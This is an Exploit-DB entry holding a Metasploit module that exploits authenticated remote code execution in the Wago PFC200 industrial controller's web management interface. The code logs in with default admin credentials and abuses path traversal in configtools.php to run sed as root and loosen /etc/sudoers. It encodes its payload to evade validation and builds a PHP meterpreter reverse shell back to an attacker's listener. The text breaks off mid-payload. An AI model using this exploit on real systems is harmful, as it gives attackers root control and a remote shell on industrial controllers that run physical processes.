Exploit-DB #47998
Description: Wago PFC200 - Authenticated Remote Code Execution (Metasploit)
Type: webapps
Platform: hardware
Date: 2020-02-05
Author: 0x483d

Exploit:
# Exploit Title: Wago PFC200 - Authenticated Remote Code Execution (Metasploit)
# Date: 2020-02-05
# Exploit Author: Nico Jansen (0x483d)
# Vendor Homepage: https://www.wago.com/
# Version: <= Firmare 11 (02_08_35)
# Tested on: Linux
# CVE : N/A

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'json'

class MetasploitModule < Msf::Exploit::Remote
  #Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Wago PFC200 authenticated remote code execution',
      'Description' => %q{
        The Wago PFC200 (up to incl. Firmware 11 02_08_35) is vulnerable to an authenticated remote code execution in the
        administrative web interface. By exploiting the vulnerability, an attacker is able to run system commands in root context.
        To execute this module, login credenials of the website administrator are required (default: admin/wago).
        This module was tested against a Wago 750-8202 Firmware 11 (02_08_35) but other PFC200 models may be affected as well.
      },
      'Author' =>
        [
          'Nico Jansen (0x483d)' # Vulnerability discovery and MSF module
        ],
      'License' => MSF_LICENSE,
      'Platform' => 'php',
      'References' =>
        [
          ['CVE', '-'],
          ['US-CERT-VU', '-'],
          ['URL', '-'],
          ['URL', '-']
        ],
      'DisclosureDate' => 'Aug 1 2018',
      'Privileged' => true,
      'DefaultOptions' => {
        'PAYLOAD' => 'php/meterpreter/reverse_tcp',
        'SSL' => true,
      },
      'Targets' => [
        ['Automatic', {}]
      ],
      'DefaultTarget'   => 0))

      register_options(
        [
          Opt::RPORT(443),
          OptString.new('ADMINPASSWORD', [true, 'Password to authenticate as admin', 'wago']),
        ])

        deregister_options('VHOST')
  end

  # This function checks the index page to check if it may be a valid device.
  # There are some more checks done after an successful authentication
  def check
    @csrf=""
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => '/wbm/index.php'
    )

    if res && res.code == 200 && res.body.to_s =~ /WAGO Ethernet Web-based Management/
      result = sendConfigToolMessage("get_typelabel_value", ["SYSDESC"])
      if result and result =~ /PFC200/
        # Get Version and check if it's <= 11
        result = sendConfigToolMessage("get_coupler_details", ["firmware-revision"])
        result = result.split('(')[1]
        result = result.split(')')[0]
        if Integer(result) <= 11
          return Exploit::CheckCode::Vulnerable
        else
          return Exploit::CheckCode::Safe
        end
      end
      return Exploit::CheckCode::Safe
    end
    return Exploit::CheckCode::Safe
  end

  # This function authenticates the adminuser against the Wago PLC
  def login
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => '/wbm/login.php',
      'data' => '{"username":"admin","password":"' + datastore['ADMINPASSWORD'] + '"}'
    )
    if res.code != 200
      return false
    end

    parsed_json = JSON.parse(res.body.to_s)
    if parsed_json["status"] == 0
      @cookie = res.get_cookies
      @csrf = parsed_json["csrfToken"]
      return true
    else
      return false
    end
  end

  # This function can be used to execute arbitary commands after login
  def sendConfigToolMessage(scriptname, parameters, expectResponse=true)
    parameterString = ''
    for param in parameters
      parameterString = parameterString + '"' + param + '", '
    end

    parameterString = parameterString[0...-2]
    request ='{"csrfToken":"' + @csrf + '",'\
      '"renewSession":true,"aDeviceParams":{"0"'\
      ':{"name":"' + scriptname + '","parameter":['\
      + parameterString + '],"sudo":true,"multiline":false,'\
      '"timeout":12000,"dataId":0}}}'

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => '/wbm/configtools.php',
      'data' => request,
      'cookie' => @cookie,
    )
    # After exploitation, there is no response, so just return true because the message was sent
    if expectResponse == false
      return true
    end

    parsed_json = JSON.parse(res.body.to_s)
    @csrf = parsed_json["csrfToken"]
    if parsed_json["aDeviceResponse"][0]["status"] == 0
      return parsed_json["aDeviceResponse"][0]["resultString"]
    else
      return false
    end
  end

  # This function is used to enable php execution in sudoers file using sed
  def change_sudo_permissions()
    return sendConfigToolMessage('/../../../usr/bin/sed',["-i", "s/NOPASSWD:/NOPASSWD:ALL#/", "/etc/sudoers"])
  end

  # Encode a given string to bypass validation
  def encode(content)
    result = ""
    content.split("").each do |i|
      result = result + "chr(" + (i.ord).to_s + ")."
    end
    result = result[0...-1]
    return result
  end

  # This function generates the required payload used to connect to the msf listener
  def send_payload()
    meterpreter_reverse_php='exec("/usr/bin/sed -i \'s/NOPASSWD:ALL#/NOPASSWD:/\' \'/etc/sudoers\'"); $ip = "' + datastore['LHOST'] + '"; $port = ' + datastore['LPORT'].to_s + '; '\
    'if (($f = "stream_socket_client") && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); '\
    '$s_type = "stream"; } if (!$s && ($f = "fsockopen") && is_callable($f)) { $s = $f($ip, $port);'\
    ' $s_type = "stream"; } if (!$s && ($f = "socket_create") && is_callable($f)) '\
    '{ $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) '\
    '{ die(); } $s_type = "socket"; } if (!$s_type) { die("no socket funcs"); } '\
    'if (!$s) { die("no socket"); } switch ($s_type) { case "stream": $len = fread($s, 4); br